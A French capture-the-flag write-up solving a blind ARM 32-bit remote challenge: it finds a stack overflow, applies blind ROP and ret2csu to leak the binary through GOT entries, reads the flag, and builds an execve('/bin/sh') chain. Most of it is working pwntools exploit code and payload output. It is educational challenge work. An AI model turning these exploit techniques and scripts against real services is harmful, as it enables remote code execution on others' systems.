Le challenge est en blind, aucun fichier n’est donné, on peut seulement interagir avec le serveur.
Découverte
On essaye donc quelques payloads classiques sur le serveur :
$ nc localhost 4000
Welcome. Please enter your password:
AAAAAAAAAAAAAAAa
Wrong password. Bye.
$ nc localhost 4000
Welcome. Please enter your password:
%s
Wrong password. Bye.
$ nc localhost 4000
Welcome. Please enter your password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
$
On remarque que lorsqu’une entrée trop longue est donnée, le service ne répond pas “Wrong password. Bye.”. On peut donc supposer que le serveur a crashé à cause d’un buffer overflow. En essayant des payloads de plus en plus grandes, on observe que le crash apparaît lorsque la payload fait plus de 0x38 octets. On va donc appliquer la méthode du Blind ROP. La lecture du papier de Bittau et al. sur le sujet est fortement conseillée pour comprendre ce write-up.
Dans tous les extraits de code qui suivent, les wrappers suivants autour de pwntools seront utilisés :
def start():
global p
p = remote(HOST, PORT)
def enc(x):
match x:
case bytes() | bytearray():
return x
case str():
return x.encode()
case int():
return str(x).encode()
case _:
raise ValueError("Type can not be encoded")
ru = lambda x: p.recvuntil(enc(x), drop=True)
sl = lambda x: p.sendline(enc(x))
inter = lambda : p.interactive()
sn = lambda x : p.send(enc(x))
rn = lambda n : p.recvn(n)
rl = lambda : p.recvline(drop=True)
Exploration sur l’adresse de retour
Le crash arrive lorsque l’octet à 0x38 est écrasé, on teste donc les réponses du serveur pour toutes les valeurs de cet octet :
def try_payload(payload:bytes) -> bool:
start()
rl()
sn(payload)
try:
res = rl()
if res and res != b"Wrong password. Bye.":
warning(f"Interesting response for {payload} : {res}")
p.close()
return True
except EOFError:
p.close()
return False
def bf_byte(prefix:bytes, skip:list[int]):
context.log_level = "WARNING"
for i in trange(256):
if i in skip:
print(f"Skipping {i:#x} because it hangs")
else:
if try_payload(prefix + p8(i)):
print(hex(i))
def bf_first_byte():
bf_byte(0x38*b"A", [0x1c, 0x24, 0x28, 0x2c])
On obtient les résultats suivants :
- 0x10 (et beaucoup d’autres à partir de 0x6c): remet “Welcome. Please enter your password”
- 0x14, 0x3c: écrit b’\xff\xeb'
- 0x1c, 0x24, 0x28, 0x2c: hang
- 0x30, 0x34, 0x38: b"Wrong password. Bye.", as expected
- 0x58: b’Welcome back!’ mais crash tout de suite après
- 0x5c: b’\xff\xeb\x04'
Au vu de la diversité des réponses, la valeur à l’offset 0x38 dans le buffer semble bien être une adresse à laquelle le programme saute. On a donc bien affaire à un buffer overflow sur la pile, et l’adresse de retour est située en 0x38.
On remarque que toutes les instructions renvoyant quelque chose sont multiples de 4, ce qui semble indiquer qu’on a affaire à une architecture à taille d’instruction fixe, par exemple ARM ou Aarch64.
L’adresse de retour originale du programme devrait finir par 0x30, 0x34 ou 0x38, puisque dans ces cas-là le programme renvoie “Wrong password. Bye.”. On bruteforce les octets suivants pour récupérer toute l’adresse de retour:
def bf_second_byte():
bf_byte(0x38*b"A" + b"\x30", [])
#bf_second_byte()
def bf_third_byte():
bf_byte(0x38*b"A" + b"\x30\x06", [])
def bf_fourth_byte():
bf_byte(0x38*b"A" + b"\x30\x06\x01", [])
def bf_fifth_byte():
bf_byte(0x38*b"A" + b"\x30\x06\x01\x00", [])
L’adresse de retour attendue semble être 0x00010630. À partir du 5e octet, le programme renvoie “Wrong password. Bye.” pour toutes les valeurs possibles de l’octet, ce qui semble indiquer que l’adresse de retour n’est écrite que sur 4 octets. On a donc affaire à un système 32-bits.
On explore d’autres adresses de retour possible à proximité de l’adresse trouvée (de 0x10000 à 0x12000). Puisque les instructions font 4 octets, on peut probe les adresses de 4 en 4 pour aller plus vite :
def bf_addr(prefix:bytes, lower_bound:int, upper_bound:int):
context.log_level = "WARNING"
for addr in trange(lower_bound, upper_bound, 4):
if try_payload(prefix + p32(addr)):
print(hex(addr))
Outre les résultats déjà connus en 0x0106XX, on obtient les résultats suivants :
- 0x105c0, 0x105c4, 0x1077c, 0x10838, 0x10894, 0x108e4: b’Welcome. Please enter your password:'
- 0x107d4, 0x107d8, 0x107dc, 0x107e0, 0x107ec: b’Error: cannot open /tmp/log.txt!'
- 0x10f0: b’\xff\xeb\x04'
- quelques hangs autour de 0x10840
Le code semble compris entre 0x10500 et 0x10900.
Recherche de gadgets
On essaye maintenant de trouver des gadgets, en suivant la méthode du Blind ROP. On utilisera 0x1337 comme “Trap” (cause un crash à coup sûr car pas dans l’adress space et pas multiple de 4), et 0x010658 comme “Stop” (renvoie toujours b’Welcome back!’, et aucune autre adresse ne renvoie ce résultat). On recherche des séquences d’un certain nombre de “pop”, suivies par un return. Pour cela, on met des Trap dans les emplacements qui devraient être pop, et un stop dans l’adresse de retour.
def find_pop_ret(count:int):
context.log_level="WARNING"
for addr in trange(CODE_START, CODE_END, 4):
if addr == WELCOME_BACK:
continue
payload = 0x38*b"A" + flat(addr, [CRASH]*count, WELCOME_BACK, CRASH)
if oracle_payload(payload) == "WELCOME":
payload = 0x38*b"A" + flat(addr, [CRASH]*(count + 2))
if oracle_payload(payload) == "CRASH":
print(f"Potential {count} pop ret found @ {addr:#x}")
Si plusieurs adresses consécutives (ou très proches) fonctionnent, on part du principe que la dernière correspond au gadget, et que les autres exécutent auparavant d’autres instructions ne modifiant pas la stack. On garde donc seulement la dernière pour éviter les effets de bord. On trouve donc les gadgets suivants :
- 0 pop (retour directement à l’adresse suivante sur la stack): aucun gadget
- 1 pop: 0x1076c, 0x10888, 0x108f8
- 2 pop: 0x1077c, 0x10838
- 3 pop: 0x10654
- 4, 5, ou 6 pop: aucun gadget
- 7 pop: 0x10894, 0x108e4
- 8 pop: aucun gadget
Les gadgets ne sont pas proches les uns des autres, ce qui pourrait indiquer que tous les registres sont pop en une seule instruction (sinon on trouverait un gadget de 2 pop juste après celui de trois pop, par exemple).
On ne peut pas savoir quels registres sont pop malheureusement.
On peut espérer qu’un des 1-pop va pop le registre contenant le premier argument, et bruteforce toutes les adresses de code pour essayer de trouver la fonction puts
def bf_pop_puts():
context.log_level="WARNING"
context.timeout = 0.1
for gadget in one_pop_ret:
for addr in trange(CODE_START, CODE_END, 4):
payload = 0x38*b"A" + flat(gadget, 0x107d4, addr)
try_payload(payload)
Malheureusement on ne trouve rien.
Le “BROP gadget” mentionné dans le papier est spécifique à x86_64, on ne peut donc pas l’utiliser dans notre cas. En revanche, on devrait pouvoir utiliser un gadget similaire, indépendamment de l’architecture à laquelle on à affaire, à savoir le CSU gadget. La lecture du papier correspondant est également fortement conseillée.
Cette paire de gadgets est présente de manière consistante sur toutes les architectures dans la fonction __libc_csu_init. Elle a cependant été retirée à partir de la libc 2.34, en raison de son utilisation dans les exploits.
Ce gadget se caractérise par un grand nombre de pops, il pourrait s’agir d’un de nos 7-pop. On sait qu’on a affaire à une architecture 32 bits avec instructions de 4 octets, ce qui pourrait correspondre à ARM. On désassemble donc un binaire ARM 32 bit pour regarder à quoi ressemble ce gadget sous ARM. Ça tombe bien, le FCSC 2019 proposait d’autres challenges sous ARM, on peut donc utiliser armory. Le code de __libc_csu_init est le suivant :
.text:000105D4 PUSH {R4-R10,LR}
.text:000105D8 LDR R6, =(__do_global_dtors_aux_fini_array_entry - 0x105E8)
.text:000105DC LDR R5, =(__frame_dummy_init_array_entry - 0x105EC)
.text:000105E0 ADD R6, PC, R6 ; __do_global_dtors_aux_fini_array_entry
.text:000105E4 ADD R5, PC, R5 ; __frame_dummy_init_array_entry
.text:000105E8 SUB R6, R6, R5
.text:000105EC MOV R7, R0
.text:000105F0 MOV R8, R1
.text:000105F4 MOV R9, R2
.text:000105F8 BL .init_proc
.text:000105FC MOVS R6, R6,ASR#2
.text:00010600 BEQ loc_1062C
.text:00010604 MOV R4, #0
.text:00010608
.text:00010608 loc_10608 ; CODE XREF: __libc_csu_init+54↓j
.text:00010608 ADD R4, R4, #1
.text:0001060C LDR R3, [R5],#4
.text:00010610 MOV R2, R9
.text:00010614 MOV R1, R8
.text:00010618 MOV R0, R7
.text:0001061C MOV LR, PC
.text:00010620 BX R3
.text:00010624 CMP R6, R4
.text:00010628 BNE loc_10608
.text:0001062C
.text:0001062C loc_1062C ; CODE XREF: __libc_csu_init+2C↑j
.text:0001062C POP {R4-R10,LR}
.text:00010630 BX LR
Le code finit par une instruction qui pop 7 registres, puis PC, ça colle !
Les deux gadgets qu’on avait trouvés pour pop 7 registres sont 0x10894 et 0x108e4, qui sont espacés de 0x50. Dans armory, le gadget est en 0x1062c, et 0x50 auparavant en 0x105dc on trouve le début de la fonction __libc_csu_init, ça colle également.
Pour confirmer qu’il s’agit bien de ce gadget sous cette architecture, on peut essayer de l’appeler, puis de sauter juste avant au CMP R6, R4, puis de remettre 7 registres et enfin notre stop gadget :
def explore_payload(payload:bytes):
start()
rl()
sn(payload)
inter()
def confirm_csu(addr:int):
payload = flat(
0x38*b"A",
addr,
0x1337, #R4
CRASH, #r5
0x1337, #R6
4*[CRASH], #r7-10
addr-8,
7*[CRASH],
WELCOME_BACK
)
explore_payload(payload)
On observe bien un “Welcome back” lorsque R4 et R6 ont la même valeur, et un crash lorsqu’ils ont une valeur différente.
L’idée du ret2csu est de chaîner les deux gadgets présents dans __libc_csu_init: le premier pop beaucoup de registres, et le deuxième permet un call arbitraire avec arguments à partir de ces registres :
.text:0001060C LDR R3, [R5],#4
.text:00010610 MOV R2, R9
.text:00010614 MOV R1, R8
.text:00010618 MOV R0, R7
.text:0001061C MOV LR, PC
.text:00010620 BX R3
L’adresse à call doit seulement être écrite en mémoire. On peut poc cette technique en appelant l’entrypoint de l’ELF. L’adresse de l’entrypoint est situé 0x18 après le début de l’ELF, et vu que les adresses de Secure Vault et armory sont très proches, on peut supposer que l’ELF est également mappé en 0x10000 pour Secure Vault. On essaye donc :
CSU_FIRST = 0x108e4
CSU_SECOND = CSU_FIRST - 0x20
ELF_START = 0x10000
def confirm_csu_2():
payload = flat(
0x38*b"A",
CSU_FIRST,
0, #R4
ELF_START + 0x18, #r5
0, #R6
4*[CRASH], #r7-10
CSU_SECOND,
7*[CRASH],
WELCOME_BACK
)
explore_payload(payload)
On vérifie bien que le programme nous remet le prompt initial lorsque r5 continent l’adresse de l’entrypoint, et crash pour d’autres valeurs de r5. On peut donc appeler des fonctions arbitraires en contrôlant leurs arguments, à condition que leur adresse soit écrite en mémoire.
Trouver la GOT
On cherche donc des adresses de fonction écrites en mémoire. Une piste évidente est la GOT.
Dans armory, la GOT est située juste avant 0x21000, on essaye donc de trouver l’entrée de puts ou de printf dans la GOT pour leak l’ELF :
GOT_END = 0x21000
def bf_csu_got_puts():
context.log_level="WARNING"
for x in trange(30):
got_entry = GOT_END - 4*(x+1)
payload = flat(
0x38*b"A",
CSU_FIRST,
0, #R4
got_entry, #R5 -> addr to call
0, #R6 unused
ELF_START, #R7 -> R0
0, #R8->R1
0, #R9->R2
0, #r10 unused
CSU_SECOND, #LR
)
try_payload(payload)
Malheureusement on ne trouve rien.
Il se pourrait que le binaire écoute directement sur le réseau, et communique donc via write ou send sur un socket. On tente donc un autre bf, en testant plusieurs valeurs de file descriptor :
def try_payload_all(payload:bytes) -> bool:
start()
rl()
sn(payload)
try:
res = p.recvall()
if res:
warning(f"Interesting response for {payload} : {res}")
p.close()
return True
except EOFError:
p.close()
return False
def payload_call_csu(addr, arg0, arg1, arg2):
return flat(
0x38*b"A",
CSU_FIRST,
0, #r4
addr, #r5
1, #r6
arg0, #r7
arg1, #r8
arg2, #r9
0, #r10
CSU_SECOND,
)
def bf_csu_got_write():
context.log_level="WARNING"
fd = 3
for x in trange(30):
got_entry = GOT_END - 4*(x+1)
payload = payload_call_csu(got_entry, fd, ELF_START, 0x10, 0)
try_payload_all(payload)
Mais toujours rien. On scanne donc plus large.
def find_function_pointers(start:int):
context.log_level="WARNING"
for addr in trange(start, 0x30000, 4):
#correct payload for strcmp, strncmp, memcmp
payload = payload_call_csu(addr, ELF_START, ELF_START, 0x10)
payload += flat(7*[CRASH], WELCOME_BACK)
try_payload(payload)
Et soudain, on voit le header ELF apparaître, pour 0x021020 et 0x021024 !
On peut donc leak tout l’ELF à coup de puts, ce qui est un peu laborieux puisque puts s’arrête à chaque null byte, mais on finit par y arriver :
GOT_PUTS = 0x021024
def arb_read(addr:int):
start()
rl()
payload = payload_call_csu(GOT_PUTS, addr, 0, 0)
sn(payload)
resp = rl()
p.close()
return resp +b"\0"
def leak_elf():
context.log_level = "WARNING"
elf = b""
with tqdm(total=0x2000) as pbar:
while len(elf) < 0x2000:
chunk = arb_read(ELF_START + 0x10000 + len(elf))
elf += chunk
pbar.update(len(chunk))
with open("dump2.bin", "wb") as f:
f.write(elf)
Reverse du dump
On regarde ce que contient notre dump:
$ file dump2.bin
dump2.bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, missing section headers at 8684
$ strings dump2.bin
/lib/ld-linux.so.3
libc.so.6
fflush
exit
fopen
strncmp
puts
abort
stdin
strftime
read
dup2
stdout
fclose
stderr
localtime
fprintf
setbuf
__libc_start_main
GLIBC_2.4
__gmon_start__
%Y-%m-%d %H:%M:%S
/tmp/log.txt
Error: cannot open /tmp/log.txt!
ChAnG3_My_D3f4u1t_Pa$$w0rD
Welcome. Please enter your password:
Wrong password. Bye.
Welcome back!
C’est bien du ARM, et l’ELF n’a pas de section headers : normal, on l’a dump depuis la mémoire, et les sections headers ne sont pas chargés en mémoire. On a tout de même la table des strings, donc on peut voir la liste des fonctions utilisées. On trouve également le mot de passe attendu, qu’on peut tester :
$ nc localhost 4000
Welcome. Please enter your password:
ChAnG3_My_D3f4u1t_Pa$$w0rD
Welcome back!
Mais il ne se passe rien de plus.
On ouvre le dump dans IDA, les fonctions importées ne sont pas correctement identifiées en raison de l’absence de section header, mais on peut les deviner à partir des strings contenues dans le binaire et de la manière dont les fonctions sont utilisées. Le code est très simple, et ne fait pas beaucoup plus que ce qu’on avait déjà observé en jouant avec le programme :
int __fastcall main(int argc)
{
setbuf(*MEMORY[0x20654], 0);
setbuf(*MEMORY[0x20658], 0);
setbuf(*MEMORY[0x2064C], 0);
puts((int)"Welcome. Please enter your password:");
fflush(0);
check_password();
puts((int)"Wrong password. Bye.");
fflush(0);
return 0;
}
int check_password()
{
_BYTE v1[60]; // [sp+4h] [bp-3Ch] BYREF
log_stuff();
read(0, (int)v1, 256);
return strncmp((int)v1, (int)"ChAnG3_My_D3f4u1t_Pa$$w0rD", 26);
}
int log_stuff()
{
_DWORD *v0; // r0
int v1; // r1
int v2; // r2
int v3; // r3
int v4; // r1
int v5; // r2
int v6; // r3
int v7; // r1
int v8; // r2
int v9; // r4
int v11; // [sp+0h] [bp-60h] BYREF
char v12[32]; // [sp+4h] [bp-5Ch] BYREF
_DWORD v13[15]; // [sp+24h] [bp-3Ch] BYREF
v11 = sub_10530(0);
v0 = (_DWORD *)localtime((int)&v11);
v1 = v0[1];
v2 = v0[2];
v3 = v0[3];
v13[0] = *v0;
v13[1] = v1;
v13[2] = v2;
v13[3] = v3;
v4 = v0[5];
v5 = v0[6];
v6 = v0[7];
v13[4] = v0[4];
v13[5] = v4;
v13[6] = v5;
v13[7] = v6;
v7 = v0[9];
v8 = v0[10];
v13[8] = v0[8];
v13[9] = v7;
v13[10] = v8;
strftime((int)v12, 32, (int)"%Y-%m-%d %H:%M:%S", (int)v13);
v9 = fopen((int)"/tmp/log.txt", (int)"a+");
if ( !v9 )
{
puts((int)"Error: cannot open /tmp/log.txt!");
fflush(0);
exit(1);
}
sub_1053C(0);
fprintf(v9, "%s", v12);
fclose(v9);
return 0;
}
Obtenir le flag
Grâce au dump, on peut identifier les entrées dans la GOT de fopen et read. C’est suffisant pour lire le flag. La paire de gagdget CSU peut être utilisée plusieurs fois d’affilée pour appeler plusieurs fonctions, on peut donc fopen pour ouvrir le fichier flag, bf le file descriptor correspondant, read le flag dans la bss, puis l’afficher avec puts. On fait auparavant un premier appel à read pour écrire “flag” et “r” (le mode d’ouverture via fopen) dans la bss.
GOT_FOPEN = 0x21010
GOT_READ = 0x21014
BSS = 0x21064
def payload_call_csu_follow(addr, arg0, arg1, arg2):
return flat(
0, #r4
addr, #r5
1, #r6
arg0, #r7
arg1, #r8
arg2, #r9
0, #r10
CSU_SECOND,
)
def leak_flag():
bss_payload = b"flag\0r\0"
payload = b""
payload += payload_call_csu(GOT_READ, 0, BSS, 0x30)
payload += payload_call_csu_follow(GOT_PUTS, BSS, 0, 0)
payload += payload_call_csu_follow(GOT_FOPEN, BSS, BSS + 5, 0)
payload += payload_call_csu_follow(GOT_READ, 5, BSS, 0x50)
payload += payload_call_csu_follow(GOT_PUTS, BSS, 0, 0)
assert len(payload) <= 0x100
start()
rl()
sl(payload)
sleep(0.5)
sl(bss_payload)
inter()
Et on obtient ainsi le flag !
Bonus : obtenir un shell
Grâce aux fonctions présentes dans la GOT, on peut lire n’importe quel fichier sur le serveur (notamment /proc/self/exe, qui permet d’avoir le vrai ELF avec ses section headers), mais un shell c’est quand même plus sympa.
Pour cela, on va aller piocher des instructions supplémentaires dans la libc. On commence par récupérer une adresse de la libc dans la GOT:
def dump_got():
payload = payload_call_csu(GOT_PUTS, GOT_READ, 0, 0)
payload += flat(7*[CRASH], MAIN)
start()
rl()
sn(payload)
inter()
La libc semble être à la même adresse à toutes les itérations, l’ASLR n’est pas active.
On va donc dumper le code situé autour de la fonction read:
LIBC_READ = 0xf6745a90
LIBC_PUTS = 0xF66DE97C
def arb_read_multiple(addr:int, length:int) -> bytes:
res = b""
while len(res) < length:
chunk = arb_read(addr + len(res))
res += chunk
return res
def dump_libc_around_read():
res = arb_read_multiple(LIBC_READ - 0x100, 0x200)
print(res)
context.update(arch="arm")
print(context)
print(disasm(res))
On obtient le code suivant, avec la fonction read en 0x100 :
0: e58d2004 str r2, [sp, #4]
4: e58d3000 str r3, [sp]
8: e1a04001 mov r4, r1
c: e1a05000 mov r5, r0
10: eb007945 bl 0x1e52c
14: e59f707c ldr r7, [pc, #124] @ 0x98
18: e1a06000 mov r6, r0
1c: e1a01004 mov r1, r4
20: e1a00005 mov r0, r5
24: e59d2004 ldr r2, [sp, #4]
28: e59d3000 ldr r3, [sp]
2c: ef000000 svc 0x00000000
30: e3700001 cmn r0, #1
34: e1a04000 mov r4, r0
38: 8a00000d bhi 0x74
3c: e1a00006 mov r0, r6
40: eb00796a bl 0x1e5f0
44: e1a00004 mov r0, r4
48: e28dd014 add sp, sp, #20
4c: e8bd40f0 pop {r4, r5, r6, r7, lr}
50: e28dd008 add sp, sp, #8
54: e12fff1e bx lr
58: ebfd4048 bl 0xfff50180
5c: e59f2038 ldr r2, [pc, #56] @ 0x9c
60: e79f2002 ldr r2, [pc, r2]
64: e2631000 rsb r1, r3, #0
68: e7801002 str r1, [r0, r2]
6c: e3e03000 mvn r3, #0
70: eaffffd9 b 0xffffffdc
74: ebfd4041 bl 0xfff50180
78: e59f3020 ldr r3, [pc, #32] @ 0xa0
7c: e79f3003 ldr r3, [pc, r3]
80: e2642000 rsb r2, r4, #0
84: e7802003 str r2, [r0, r3]
88: e3e04000 mvn r4, #0
8c: eaffffea b 0x3c
90: 00404000 subeq r4, r0, r0
94: 00082a94 muleq r8, r4, sl
98: 00000142 andeq r0, r0, r2, asr #2
9c: 0007f6bc @ <UNDEFINED> instruction: 0x0007f6bc
a0: 0007f6a0 andeq pc, r7, r0, lsr #13
a4: e3120040 tst r2, #64 @ 0x40
a8: e92d4010 push {r4, lr}
ac: 1a000006 bne 0xcc
b0: e1a03002 mov r3, r2
b4: e59fc01c ldr ip, [pc, #28] @ 0xd8
b8: e1dc3003 bics r3, ip, r3
bc: 00000002 andeq r0, r0, r2
c0: ebffffb1 bl 0xffffff8c
c4: e8bd4010 pop {r4, lr}
c8: e12fff1e bx lr
cc: e59f0008 ldr r0, [pc, #8] @ 0xdc
d0: e08f0000 add r0, pc, r0
d4: eb008a5a bl 0x22a44
d8: 00404000 subeq r4, r0, r0
dc: 00064f0c andeq r4, r6, ip, lsl #30
e0: e52d7004 push {r7} @ (str r7, [sp, #-4]!)
e4: e3a07003 mov r7, #3
e8: ef000000 svc 0x00000000
ec: e49d7004 pop {r7} @ (ldr r7, [sp], #4)
f0: e3700001 cmn r0, #1
f4: 312fff1e bxcc lr
f8: eafd3f58 b 0xfff4fe60
fc: e1a00000 nop @ (mov r0, r0)
100: e59fc060 ldr ip, [pc, #96] @ 0x168
104: e79fc00c ldr ip, [pc, ip]
108: e33c0000 teq ip, #0
10c: e52d7004 push {r7} @ (str r7, [sp, #-4]!)
110: 1a000005 bne 0x12c
114: e3a07003 mov r7, #3
118: ef000000 svc 0x00000000
11c: e49d7004 pop {r7} @ (ldr r7, [sp], #4)
120: e3700001 cmn r0, #1
124: 312fff1e bxcc lr
128: eafd3f4c b 0xfff4fe60
12c: e92d400f push {r0, r1, r2, r3, lr}
130: eb0078fd bl 0x1e52c
134: e1a0c000 mov ip, r0
138: e8bd000f pop {r0, r1, r2, r3}
13c: e3a07003 mov r7, #3
140: ef000000 svc 0x00000000
144: e1a07000 mov r7, r0
148: e1a0000c mov r0, ip
14c: eb007927 bl 0x1e5f0
150: e1a00007 mov r0, r7
154: e49de004 pop {lr} @ (ldr lr, [sp], #4)
158: e49d7004 pop {r7} @ (ldr r7, [sp], #4)
15c: e3700001 cmn r0, #1
160: 312fff1e bxcc lr
164: eafd3f3d b 0xfff4fe60
168: 00082944 andeq r2, r8, r4, asr #18
16c: 00000000 andeq r0, r0, r0
170: e52d7004 push {r7} @ (str r7, [sp, #-4]!)
174: e3a07004 mov r7, #4
178: ef000000 svc 0x00000000
17c: e49d7004 pop {r7} @ (ldr r7, [sp], #4)
180: e3700001 cmn r0, #1
184: 312fff1e bxcc lr
188: eafd3f34 b 0xfff4fe60
18c: e1a00000 nop @ (mov r0, r0)
190: e59fc060 ldr ip, [pc, #96] @ 0x1f8
194: e79fc00c ldr ip, [pc, ip]
198: e33c0000 teq ip, #0
19c: e52d7004 push {r7} @ (str r7, [sp, #-4]!)
1a0: 1a000005 bne 0x1bc
1a4: e3a07004 mov r7, #4
1a8: ef000000 svc 0x00000000
1ac: e49d7004 pop {r7} @ (ldr r7, [sp], #4)
1b0: e3700001 cmn r0, #1
1b4: 312fff1e bxcc lr
1b8: eafd3f28 b 0xfff4fe60
1bc: e92d400f push {r0, r1, r2, r3, lr}
1c0: eb0078d9 bl 0x1e52c
1c4: e1a0c000 mov ip, r0
1c8: e8bd000f pop {r0, r1, r2, r3}
1cc: e3a07004 mov r7, #4
1d0: ef000000 svc 0x00000000
1d4: e1a07000 mov r7, r0
1d8: e1a0000c mov r0, ip
1dc: eb007903 bl 0x1e5f0
1e0: e1a00007 mov r0, r7
1e4: e49de004 pop {lr} @ (ldr lr, [sp], #4)
1e8: e49d7004 pop {r7} @ (ldr r7, [sp], #4)
1ec: e3700001 cmn r0, #1
1f0: 312fff1e bxcc lr
1f4: eafd3f19 b 0xfff4fe60
1f8: 000828b4 @ <UNDEFINED> instruction: 0x000828b4
1fc: 00000000 andeq r0, r0, r0
On trouve notamment la fonction write peu après (numéro de syscall 4). Une première idée était de dump la libc complète pour récupérer system. Le path exact de la libc pouvait être trouvé dans /proc/self/maps, et utiliser write au lieu de puts pour leak permettait de contourner le problème des null bytes. Mais la libc est un gros fichier, qui ne rentre pas entièrement dans la bss de notre programme, ce qui nécessitait plusieurs passes pour la récupérer.
Mais on peut plus simplement utiliser le svc 0 pour faire un execve directement. On utilise toujours la paire de gadgets csu pour set tous les registres qui nous intéressent. L’ennui est que r0 (premier argument) et r7 (numéro de syscall) ont alors la même valeur.
Pour leur donner une valeur différente, on appelle une instruction faisant seulement bx lr, puis on peut donner une nouvelle valeur à r7 :
LIBC_SVC_0 = LIBC_READ + 0x18
LIBC_BX_LR = LIBC_READ -0x100 + 0xc8
SYS_EXECVE = 0xb
def shell():
bss_payload = p32(LIBC_BX_LR) + b"/bin/sh\0"
payload = b""
payload += payload_call_csu(GOT_READ, 0, BSS, 0x30)
payload += payload_call_csu_follow(BSS, BSS + 0x4, 0, 0) #simple return to set registers
payload += flat(
[
0, 0, 0, #r4-6
SYS_EXECVE, #r7
0, 0, 0, #r8-10
LIBC_SVC_0
])
assert len(payload) <= 0x100
start()
rl()
sl(payload)
sleep(0.5)
sl(bss_payload)
inter()
Et on obtient le shell !
$ ./exploit.py REMOTE
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ ls
SecureVault
flag
run.sh
$ cat run.sh
#!/bin/bash
qemu-arm -L /usr/arm-linux-gnueabi ./SecureVault
$